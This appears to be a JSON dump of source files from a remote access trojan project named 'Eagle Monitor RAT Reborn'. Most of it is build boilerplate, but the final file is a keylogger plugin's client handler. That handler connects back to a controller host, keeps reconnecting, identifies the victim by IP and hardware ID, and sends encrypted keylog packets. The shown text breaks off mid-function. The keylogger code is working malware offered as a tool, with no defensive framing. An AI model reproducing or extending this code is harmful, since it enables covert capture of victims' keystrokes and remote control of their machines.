    "content": "﻿using System.Reflection;\nusing System.Runtime.CompilerServices;\nusing System.Runtime.InteropServices;\n\n// Les informations générales relatives à un assembly dépendent de\n// l'ensemble d'attributs suivant. Changez les valeurs de ces attributs pour modifier les informations\n// associées à un assembly.\n[assembly: AssemblyTitle(\"Information\")]\n[assembly: AssemblyDescription(\"\")]\n[assembly: AssemblyConfiguration(\"\")]\n[assembly: AssemblyCompany(\"\")]\n[assembly: AssemblyProduct(\"Information\")]\n[assembly: AssemblyCopyright(\"Arsium © 2022\")]\n[assembly: AssemblyTrademark(\"\")]\n[assembly: AssemblyCulture(\"\")]\n\n// L'affectation de la valeur false à ComVisible rend les types invisibles dans cet assembly\n// aux composants COM. Si vous devez accéder à un type dans cet assembly à partir de\n// COM, affectez la valeur true à l'attribut ComVisible sur ce type.\n[assembly: ComVisible(false)]\n\n// Le GUID suivant est pour l'ID de la typelib si ce projet est exposé à COM\n[assembly: Guid(\"8af7e48f-4ae9-46e3-8d94-ecb557e6a47b\")]\n\n// Les informations de version pour un assembly se composent des quatre valeurs suivantes :\n//\n//      Version principale\n//      Version secondaire\n//      Numéro de build\n//      Révision\n//\n// Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut\n// en utilisant '*', comme indiqué ci-dessous :\n// [assembly: AssemblyVersion(\"1.0.*\")]\n[assembly: AssemblyVersion(\"3.2.4.0\")]\n[assembly: AssemblyFileVersion(\"3.2.4.0\")]\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Information/Properties/Resources.Designer.cs",
    "content": "﻿//------------------------------------------------------------------------------\n// <auto-generated>\n//     Ce code a été généré par un outil.\n//     Version du runtime :4.0.30319.42000\n//\n//     Les modifications apportées à ce fichier peuvent provoquer un comportement incorrect et seront perdues si\n//     le code est régénéré.\n// </auto-generated>\n//------------------------------------------------------------------------------\n\nnamespace Plugin.Properties {\n    using System;\n    \n    \n    /// <summary>\n    ///   Une classe de ressource fortement typée destinée, entre autres, à la consultation des chaînes localisées.\n    /// </summary>\n    // Cette classe a été générée automatiquement par la classe StronglyTypedResourceBuilder\n    // à l'aide d'un outil, tel que ResGen ou Visual Studio.\n    // Pour ajouter ou supprimer un membre, modifiez votre fichier .ResX, puis réexécutez ResGen\n    // avec l'option /str ou régénérez votre projet VS.\n    [global::System.CodeDom.Compiler.GeneratedCodeAttribute(\"System.Resources.Tools.StronglyTypedResourceBuilder\", \"17.0.0.0\")]\n    [global::System.Diagnostics.DebuggerNonUserCodeAttribute()]\n    [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]\n    internal class Resources {\n        \n        private static global::System.Resources.ResourceManager resourceMan;\n        \n        private static global::System.Globalization.CultureInfo resourceCulture;\n        \n        [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute(\"Microsoft.Performance\", \"CA1811:AvoidUncalledPrivateCode\")]\n        internal Resources() {\n        }\n        \n        /// <summary>\n        ///   Retourne l'instance ResourceManager mise en cache utilisée par cette classe.\n        /// </summary>\n        [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]\n        internal static global::System.Resources.ResourceManager ResourceManager {\n            get {\n                if (object.ReferenceEquals(resourceMan, null)) {\n                    global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager(\"Plugin.Properties.Resources\", typeof(Resources).Assembly);\n                    resourceMan = temp;\n                }\n                return resourceMan;\n            }\n        }\n        \n        /// <summary>\n        ///   Remplace la propriété CurrentUICulture du thread actuel pour toutes\n        ///   les recherches de ressources à l'aide de cette classe de ressource fortement typée.\n        /// </summary>\n        [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]\n        internal static global::System.Globalization.CultureInfo Culture {\n            get {\n                return resourceCulture;\n            }\n            set {\n                resourceCulture = value;\n            }\n        }\n        \n        /// <summary>\n        ///   Recherche une ressource localisée de type System.Byte[].\n        /// </summary>\n        internal static byte[] CPU {\n            get {\n                object obj = ResourceManager.GetObject(\"CPU\", resourceCulture);\n                return ((byte[])(obj));\n            }\n        }\n        \n        /// <summary>\n        ///   Recherche une ressource localisée de type System.Byte[].\n        /// </summary>\n        internal static byte[] CPU64 {\n            get {\n                object obj = ResourceManager.GetObject(\"CPU64\", resourceCulture);\n                return ((byte[])(obj));\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Information/Properties/Resources.resx",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<root>\n  <!-- \n    Microsoft ResX Schema \n    \n    Version 2.0\n    \n    The primary goals of this format is to allow a simple XML format \n    that is mostly human readable. The generation and parsing of the \n    various data types are done through the TypeConverter classes \n    associated with the data types.\n    \n    Example:\n    \n    ... ado.net/XML headers & schema ...\n    <resheader name=\"resmimetype\">text/microsoft-resx</resheader>\n    <resheader name=\"version\">2.0</resheader>\n    <resheader name=\"reader\">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>\n    <resheader name=\"writer\">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>\n    <data name=\"Name1\"><value>this is my long string</value><comment>this is a comment</comment></data>\n    <data name=\"Color1\" type=\"System.Drawing.Color, System.Drawing\">Blue</data>\n    <data name=\"Bitmap1\" mimetype=\"application/x-microsoft.net.object.binary.base64\">\n        <value>[base64 mime encoded serialized .NET Framework object]</value>\n    </data>\n    <data name=\"Icon1\" type=\"System.Drawing.Icon, System.Drawing\" mimetype=\"application/x-microsoft.net.object.bytearray.base64\">\n        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>\n        <comment>This is a comment</comment>\n    </data>\n                \n    There are any number of \"resheader\" rows that contain simple \n    name/value pairs.\n    \n    Each data row contains a name, and value. The row also contains a \n    type or mimetype. Type corresponds to a .NET class that support \n    text/value conversion through the TypeConverter architecture. \n    Classes that don't support this are serialized and stored with the \n    mimetype set.\n    \n    The mimetype is used for serialized objects, and tells the \n    ResXResourceReader how to depersist the object. This is currently not \n    extensible. For a given mimetype the value must be set accordingly:\n    \n    Note - application/x-microsoft.net.object.binary.base64 is the format \n    that the ResXResourceWriter will generate, however the reader can \n    read any of the formats listed below.\n    \n    mimetype: application/x-microsoft.net.object.binary.base64\n    value   : The object must be serialized with \n            : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter\n            : and then encoded with base64 encoding.\n    \n    mimetype: application/x-microsoft.net.object.soap.base64\n    value   : The object must be serialized with \n            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter\n            : and then encoded with base64 encoding.\n\n    mimetype: application/x-microsoft.net.object.bytearray.base64\n    value   : The object must be serialized into a byte array \n            : using a System.ComponentModel.TypeConverter\n            : and then encoded with base64 encoding.\n    -->\n  <xsd:schema id=\"root\" xmlns=\"\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:msdata=\"urn:schemas-microsoft-com:xml-msdata\">\n    <xsd:import namespace=\"http://www.w3.org/XML/1998/namespace\" />\n    <xsd:element name=\"root\" msdata:IsDataSet=\"true\">\n      <xsd:complexType>\n        <xsd:choice maxOccurs=\"unbounded\">\n          <xsd:element name=\"metadata\">\n            <xsd:complexType>\n              <xsd:sequence>\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" />\n              </xsd:sequence>\n              <xsd:attribute name=\"name\" use=\"required\" type=\"xsd:string\" />\n              <xsd:attribute name=\"type\" type=\"xsd:string\" />\n              <xsd:attribute name=\"mimetype\" type=\"xsd:string\" />\n              <xsd:attribute ref=\"xml:space\" />\n            </xsd:complexType>\n          </xsd:element>\n          <xsd:element name=\"assembly\">\n            <xsd:complexType>\n              <xsd:attribute name=\"alias\" type=\"xsd:string\" />\n              <xsd:attribute name=\"name\" type=\"xsd:string\" />\n            </xsd:complexType>\n          </xsd:element>\n          <xsd:element name=\"data\">\n            <xsd:complexType>\n              <xsd:sequence>\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"1\" />\n                <xsd:element name=\"comment\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"2\" />\n              </xsd:sequence>\n              <xsd:attribute name=\"name\" type=\"xsd:string\" use=\"required\" msdata:Ordinal=\"1\" />\n              <xsd:attribute name=\"type\" type=\"xsd:string\" msdata:Ordinal=\"3\" />\n              <xsd:attribute name=\"mimetype\" type=\"xsd:string\" msdata:Ordinal=\"4\" />\n              <xsd:attribute ref=\"xml:space\" />\n            </xsd:complexType>\n          </xsd:element>\n          <xsd:element name=\"resheader\">\n            <xsd:complexType>\n              <xsd:sequence>\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"1\" />\n              </xsd:sequence>\n              <xsd:attribute name=\"name\" type=\"xsd:string\" use=\"required\" />\n            </xsd:complexType>\n          </xsd:element>\n        </xsd:choice>\n      </xsd:complexType>\n    </xsd:element>\n  </xsd:schema>\n  <resheader name=\"resmimetype\">\n    <value>text/microsoft-resx</value>\n  </resheader>\n  <resheader name=\"version\">\n    <value>2.0</value>\n  </resheader>\n  <resheader name=\"reader\">\n    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\n  </resheader>\n  <resheader name=\"writer\">\n    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\n  </resheader>\n  <assembly alias=\"System.Windows.Forms\" name=\"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\" />\n  <data name=\"CPU\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n    <value>..\\Resources\\CPU.dll;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\n  </data>\n  <data name=\"CPU64\" type=\"System.Resources.ResXFileRef, System.Windows.Forms\">\n    <value>..\\Resources\\CPU64.dll;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\n  </data>\n</root>"
  },
  {
    "path": "Remote Access Tool/Plugins/Information/WMIHelpers.cs",
    "content": "﻿\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\n/*            \nWin32NT = Environment.OSVersion.Platform == PlatformID.Win32NT;\nXpOrHigher = Win32NT && Environment.OSVersion.Version.Major >= 5;\nVistaOrHigher = Win32NT && Environment.OSVersion.Version.Major >= 6;\nSevenOrHigher = Win32NT && (Environment.OSVersion.Version >= new Version(6, 1));\nEightOrHigher = Win32NT && (Environment.OSVersion.Version >= new Version(6, 2, 9200));\nEightPointOneOrHigher = Win32NT && (Environment.OSVersion.Version >= new Version(6, 3));\nTenOrHigher = Win32NT && (Environment.OSVersion.Version >= new Version(10, 0));\nRunningOnMono = Type.GetType(\"Mono.Runtime\") != null;\n*/\n\nnamespace Plugin\n{\n    internal class WMIHelpers\n    {\n        internal enum OSType\n        {\n            AIX = 9,\n            ASERIES = 0x20,\n            ATTUNIX = 3,\n            BeOS = 53,\n            BS2000 = 35,\n            BSDUNIX = 41,\n            DC_OS = 23,\n            DECNT = 5,\n            Dedicated = 59,\n            DGUX = 4,\n            DigitalUNIX = 6,\n            EPOC = 49,\n            FreeBSD = 42,\n            GNUHurd = 44,\n            HP_MPE = 54,\n            HPUX = 8,\n            Inferno = 47,\n            InteractiveUNIX = 40,\n            IRIX = 28,\n            IxWorks = 50,\n            JavaVM = 13,\n            LINUX = 36,\n            Lynx = 37,\n            MACHKernel = 46,\n            MACROS = 2,\n            MiNT = 52,\n            MSDOS = 14,\n            MVS = 10,\n            NCR3000 = 20,\n            NetBSD = 43,\n            NetWare = 21,\n            NextStep = 55,\n            OpenVMS = 7,\n            OS_390 = 60,\n            OS2 = 12,\n            OS400 = 11,\n            OS9 = 45,\n            OSF = 22,\n            Other = 1,\n            PalmPilot = 56,\n            QNX = 48,\n            ReliantUNIX = 24,\n            Rhapsody = 57,\n            SCOOpenServer = 26,\n            SCOUnixWare = 25,\n            Sequent = 27,\n            Solaris = 29,\n            SunOS = 30,\n            TandemNSK = 33,\n            TandemNT = 34,\n            TPF = 62,\n            U6000 = 0x1F,\n            Unknown = 0,\n            VM_ESA = 39,\n            VSE = 61,\n            VxWorks = 51,\n            WIN3x = 0xF,\n            WIN95 = 0x10,\n            WIN98 = 17,\n            WINCE = 19,\n            Windows2000 = 58,\n            WINNT = 18,\n            XENIX = 38\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Information/obj/Debug/.NETFramework,Version=v4.5.AssemblyAttributes.cs",
    "content": "// <autogenerated />\nusing System;\nusing System.Reflection;\n[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(\".NETFramework,Version=v4.5\", FrameworkDisplayName = \".NET Framework 4.5\")]\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Information/obj/Debug/Information.csproj.CoreCompileInputs.cache",
    "content": "2a34a63e9b7af02237553a06f675fff1fff9c9a2\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Information/obj/Debug/Information.csproj.FileListAbsolute.txt",
    "content": "E:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\bin\\Debug\\Plugins\\Information.dll\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Information\\obj\\Debug\\Information.csproj.AssemblyReference.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Information\\obj\\Debug\\Information.csproj.CoreCompileInputs.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Information\\obj\\Debug\\Information.csproj.Fody.CopyLocal.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Information\\obj\\Debug\\Information.dll\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Information\\obj\\Debug\\Plugin.Properties.Resources.resources\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Information\\obj\\Debug\\Information.csproj.GenerateResource.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\bin\\Debug\\Plugins\\Information.dll\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Information\\obj\\Debug\\Information.csproj.AssemblyReference.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Information\\obj\\Debug\\Plugin.Properties.Resources.resources\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Information\\obj\\Debug\\Information.csproj.GenerateResource.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Information\\obj\\Debug\\Information.csproj.CoreCompileInputs.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Information\\obj\\Debug\\Information.csproj.Fody.CopyLocal.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Information\\obj\\Debug\\Information.dll\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Information/obj/Debug/Information.csproj.Fody.CopyLocal.cache",
    "content": ""
  },
  {
    "path": "Remote Access Tool/Plugins/Information/obj/Debug/build.force",
    "content": ""
  },
  {
    "path": "Remote Access Tool/Plugins/Information/obj/Release/.NETFramework,Version=v4.5.AssemblyAttributes.cs",
    "content": "// <autogenerated />\nusing System;\nusing System.Reflection;\n[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(\".NETFramework,Version=v4.5\", FrameworkDisplayName = \".NET Framework 4.5\")]\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Information/obj/Release/Information.csproj.CoreCompileInputs.cache",
    "content": "fba354ae6fa2993934824681655376eaf99853fb\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Information/obj/Release/Information.csproj.FileListAbsolute.txt",
    "content": "D:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\bin\\Release\\Plugins\\Information.dll\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Information\\obj\\Release\\Information.csproj.AssemblyReference.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Information\\obj\\Release\\Plugin.Properties.Resources.resources\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Information\\obj\\Release\\Information.csproj.GenerateResource.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Information\\obj\\Release\\Information.csproj.CoreCompileInputs.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Information\\obj\\Release\\Information.csproj.Fody.CopyLocal.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Information\\obj\\Release\\Information.dll\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\bin\\Release\\Plugins\\Information.dll\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Information\\obj\\Release\\Information.csproj.AssemblyReference.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Information\\obj\\Release\\Plugin.Properties.Resources.resources\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Information\\obj\\Release\\Information.csproj.GenerateResource.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Information\\obj\\Release\\Information.csproj.CoreCompileInputs.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Information\\obj\\Release\\Information.csproj.Fody.CopyLocal.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Information\\obj\\Release\\Information.dll\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Information\\obj\\Release\\Information.csproj.CopyComplete\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Information\\obj\\Release\\Information.csproj.CopyComplete\nC:\\Eagle Monitor RAT Reborn\\bin\\Release\\Plugins\\Information.dll\nC:\\Eagle Monitor RAT Reborn\\Plugins\\Information\\obj\\Release\\Information.csproj.AssemblyReference.cache\nC:\\Eagle Monitor RAT Reborn\\Plugins\\Information\\obj\\Release\\Plugin.Properties.Resources.resources\nC:\\Eagle Monitor RAT Reborn\\Plugins\\Information\\obj\\Release\\Information.csproj.GenerateResource.cache\nC:\\Eagle Monitor RAT Reborn\\Plugins\\Information\\obj\\Release\\Information.csproj.CoreCompileInputs.cache\nC:\\Eagle Monitor RAT Reborn\\Plugins\\Information\\obj\\Release\\Information.dll\nC:\\Eagle Monitor RAT Reborn\\Plugins\\Information\\obj\\Release\\Information.csproj.Fody.CopyLocal.cache\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\bin\\Release\\Plugins\\Information.dll\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\Plugins\\Information\\obj\\Release\\Information.csproj.AssemblyReference.cache\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\Plugins\\Information\\obj\\Release\\Plugin.Properties.Resources.resources\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\Plugins\\Information\\obj\\Release\\Information.csproj.GenerateResource.cache\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\Plugins\\Information\\obj\\Release\\Information.csproj.CoreCompileInputs.cache\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\Plugins\\Information\\obj\\Release\\Information.csproj.Fody.CopyLocal.cache\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\Plugins\\Information\\obj\\Release\\Information.dll\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\bin\\Release\\Plugins\\Information.dll\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Information\\obj\\Release\\Information.csproj.AssemblyReference.cache\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Information\\obj\\Release\\Plugin.Properties.Resources.resources\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Information\\obj\\Release\\Information.csproj.GenerateResource.cache\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Information\\obj\\Release\\Information.csproj.CoreCompileInputs.cache\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Information\\obj\\Release\\Information.csproj.Fody.CopyLocal.cache\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Information\\obj\\Release\\Information.dll\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\bin\\Release\\Plugins\\Information.dll\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Information\\obj\\Release\\Information.csproj.AssemblyReference.cache\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Information\\obj\\Release\\Plugin.Properties.Resources.resources\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Information\\obj\\Release\\Information.csproj.GenerateResource.cache\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Information\\obj\\Release\\Information.csproj.CoreCompileInputs.cache\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Information\\obj\\Release\\Information.csproj.Fody.CopyLocal.cache\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Information\\obj\\Release\\Information.dll\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\bin\\Release\\Plugins\\Information.dll\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Information\\obj\\Release\\Information.csproj.AssemblyReference.cache\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Information\\obj\\Release\\Plugin.Properties.Resources.resources\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Information\\obj\\Release\\Information.csproj.GenerateResource.cache\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Information\\obj\\Release\\Information.csproj.CoreCompileInputs.cache\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Information\\obj\\Release\\Information.csproj.Fody.CopyLocal.cache\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Information\\obj\\Release\\Information.dll\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Information/obj/Release/Information.csproj.Fody.CopyLocal.cache",
    "content": ""
  },
  {
    "path": "Remote Access Tool/Plugins/Information/obj/Release/_IsIncrementalBuild",
    "content": "obj\\Release\\\\_IsIncrementalBuild\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Information/obj/x64/Release/.NETFramework,Version=v4.5.AssemblyAttributes.cs",
    "content": "// <autogenerated />\nusing System;\nusing System.Reflection;\n[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(\".NETFramework,Version=v4.5\", FrameworkDisplayName = \".NET Framework 4.5\")]\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Information/obj/x64/Release/Information.csproj.CoreCompileInputs.cache",
    "content": "550815ad68ddcc6acff2ded4fe84bf06d2a5c669\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Information/obj/x64/Release/Information.csproj.FileListAbsolute.txt",
    "content": "D:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Information\\bin\\x64\\Release\\Information.dll\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Information\\obj\\x64\\Release\\Information.csproj.AssemblyReference.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Information\\obj\\x64\\Release\\Plugin.Properties.Resources.resources\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Information\\obj\\x64\\Release\\Information.csproj.GenerateResource.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Information\\obj\\x64\\Release\\Information.csproj.CoreCompileInputs.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Information\\obj\\x64\\Release\\Information.csproj.Fody.CopyLocal.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\bin\\Release\\Plugins\\Information64.dll\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Information\\obj\\x64\\Release\\Information64.dll\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Information/obj/x64/Release/Information.csproj.Fody.CopyLocal.cache",
    "content": ""
  },
  {
    "path": "Remote Access Tool/Plugins/Information/packages.config",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<packages>\n  <package id=\"Costura.Fody\" version=\"4.1.0\" targetFramework=\"net45\" />\n  <package id=\"Fody\" version=\"6.0.0\" targetFramework=\"net45\" developmentDependency=\"true\" />\n  <package id=\"Newtonsoft.Json\" version=\"13.0.1\" targetFramework=\"net45\" />\n</packages>"
  },
  {
    "path": "Remote Access Tool/Plugins/Keylogger/ClientHandler.cs",
    "content": "﻿using PacketLib;\nusing PacketLib.Packet;\nusing PacketLib.Utils;\nusing System;\nusing System.IO;\nusing System.Net.Sockets;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Plugin\n{\n    internal class ClientHandler : IDisposable\n    {\n        public Host host { get; set; }\n        private Socket socket { get; set; }\n        public bool Connected { get; set; }\n        public string HWID { get; set; }\n        public string baseIp { get; set; }\n        public string key { get; set; }\n        public bool hasToExit { get; set; }\n\n\n        public delegate bool ConnectAsync();\n        private delegate int SendDataAsync(IPacket data);\n\n\n        public ConnectAsync connectAsync;\n        private readonly SendDataAsync sendDataAsync;\n\n        public delegate byte[] ReadDataAsync();\n        public delegate IPacket ReadPacketAsync(byte[] BufferPacket);\n\n        public ReadDataAsync readDataAsync;\n        public ReadPacketAsync readPacketAsync;\n\n        public ClientHandler(Host host, string key) : base()\n        {\n            this.hasToExit = false;\n            this.host = host;\n            this.key = key;\n            sendDataAsync = new SendDataAsync(SendData);\n            readDataAsync = new ReadDataAsync(ReceiveData);\n            readPacketAsync = new ReadPacketAsync(PacketParser);\n        }\n\n\n        public void ConnectStart()\n        {\n            connectAsync = new ConnectAsync(Connect);\n            connectAsync.BeginInvoke(new AsyncCallback(EndConnect), null);\n        }\n\n        private bool Connect()\n        {\n            try\n            {\n                socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);\n                socket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.KeepAlive, true);\n                socket.Connect(host.host, host.port);\n                return true;\n            }\n            catch { }\n            return false;\n        }\n        public void EndConnect(IAsyncResult ar)\n        {\n            Connected = connectAsync.EndInvoke(ar);\n\n            if (hasToExit)\n            {\n                this.Dispose();\n                return;\n            }\n            else if (!Connected) \n            {\n                ConnectStart();\n            }\n            else\n            {\n                this.SendPacket(new KeylogPacket(\"\", Launch.baseIp, Launch.HWID));//this to get client on server\n                Receive();\n            }\n        }\n\n        public void Receive()\n        {\n            if (hasToExit)\n            {\n                this.Dispose();\n                return;\n            }\n\n            if (Connected)\n                readDataAsync.BeginInvoke(new AsyncCallback(EndDataRead), null);\n            else\n                ConnectStart();\n        }\n\n        private byte[] ReceiveData()\n        {\n            try\n            {\n                int total = 0;\n                int recv;\n                byte[] header = new byte[5];\n                socket.Poll(-1, SelectMode.SelectRead);\n                recv = socket.Receive(header, 0, 5, 0);\n\n                int size = BitConverter.ToInt32(new byte[4] { header[0], header[1], header[2], header[3] }, 0);\n                PacketType packetType = (PacketType)header[4];\n\n                int dataleft = size;\n                byte[] data = new byte[size];\n                while (total < size)\n                {\n                    recv = socket.Receive(data, total, dataleft, 0);\n                    total += recv;\n                    dataleft -= recv;\n                }\n\n                return data;\n            }\n            catch (Exception)\n            {\n                if(Connected)\n                    hasToExit = true;\n\n                Connected = false;\n                return null;\n            }\n        }\n        public void EndDataRead(IAsyncResult ar)\n        {\n            byte[] data = readDataAsync.EndInvoke(ar);\n\n            if (data != null && data.Length > 0 && Connected)\n                readPacketAsync.BeginInvoke(data, new AsyncCallback(EndPacketRead), null);\n\n            Receive();\n        }\n\n\n        private IPacket PacketParser(byte[] BufferPacket)\n        {\n            return BufferPacket.DeserializePacket(Launch.key);\n        }\n        public void EndPacketRead(IAsyncResult ar)\n        {\n            IPacket packet = readPacketAsync.EndInvoke(ar);\n            ParsePacket(packet);\n        }\n\n        public void ParsePacket(IPacket packet) \n        {\n            switch (packet.PacketType) \n            {\n                case PacketType.KEYLOG_OFF:\n                    this.hasToExit = true;\n                    KeyLib.Hook.AbortHook();\n                    break;\n            }\n        }\n        public void SendPacket(IPacket packet)\n        {\n            if (Connected)\n                sendDataAsync.BeginInvoke(packet, new AsyncCallback(SendDataCompleted), null);\n        }\n        private int SendData(IPacket data)\n        {\n            byte[] encryptedData = data.SerializePacket(this.key);\n\n            int total = 0;\n            int size = encryptedData.Length;\n            int datalft 